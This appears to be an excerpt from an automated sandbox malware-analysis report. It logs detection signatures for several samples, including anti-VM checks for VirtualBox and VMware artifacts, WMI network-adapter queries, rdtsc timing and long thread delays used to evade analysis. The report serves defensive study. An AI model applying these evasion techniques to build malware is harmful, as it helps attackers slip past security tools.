Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\Creal.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: spfasiazx.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: alex.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8068, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIESBAD ADDRESSBAD ARGSIZEBAD M VALUEBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCREATED BY CRYPT32.DLLE2.KEFF.ORGEMBEDDED/%SEXTERNAL IPFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN1FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEGLOBALALLOCHTTP2CLIENTHTTP2SERVERHTTPS_PROXYI/O TIMEOUTLOCAL ERRORMSPANMANUALMETHODARGS(MINTRIGGER=MOVE %S: %WMSWSOCK.DLLNETPOLLINITNEXT SERVERNIL CONTEXTOPERA-PROXYORANNIS.COMOUT OF SYNCPARSE ERRORPROCESS: %SREFLECT.SETREFLECTOFFSRETRY-AFTERRUNTIME: P RUNTIME: G RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITESTACK TRACESTART PROXYTASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION.DLLVERSION=195WININET.DLLWUP_PROCESS (SENSITIVE) B (
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD ALLOCCOUNTBAD RECORD MACBAD RESTART PCBAD SPAN STATEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDERROR RESPONSEFILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGET UPTIME: %WGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDMEMPROFILERATEMULTIPARTFILESNEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEOPEN EVENT: %WPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREAD_FRAME_EOFREFLECT.VALUE.REMOVE APP: %WRUNTIME: FULL=RUNTIME: WANT=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTART TASK: %WSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIME.LOCATION(TIMEENDPERIODTOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIES

Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	File opened / queried: VBoxGuest
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	File opened / queried: VBoxTrayIPC
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	File opened / queried: \pipe\VBoxTrayIPC
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	File opened / queried: VBoxMiniRdrDN

Source: C:\Users\user\Desktop\a\buildz.exe

Code function: 31_2_024CA71C rdtsc

31_2_024CA71C

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599644	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598963	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598608	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598496	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596561	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 596106	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594872	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594495	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Thread delayed: delay time: 594263	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\a\buildz.exe	Thread delayed: delay time: 700000

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Window / User API: threadDelayed 6931	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Window / User API: threadDelayed 2870	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Window / User API: threadDelayed 6803	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Window / User API: threadDelayed 2773	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5332
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 509
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8802
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 483
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2895
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1775

Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
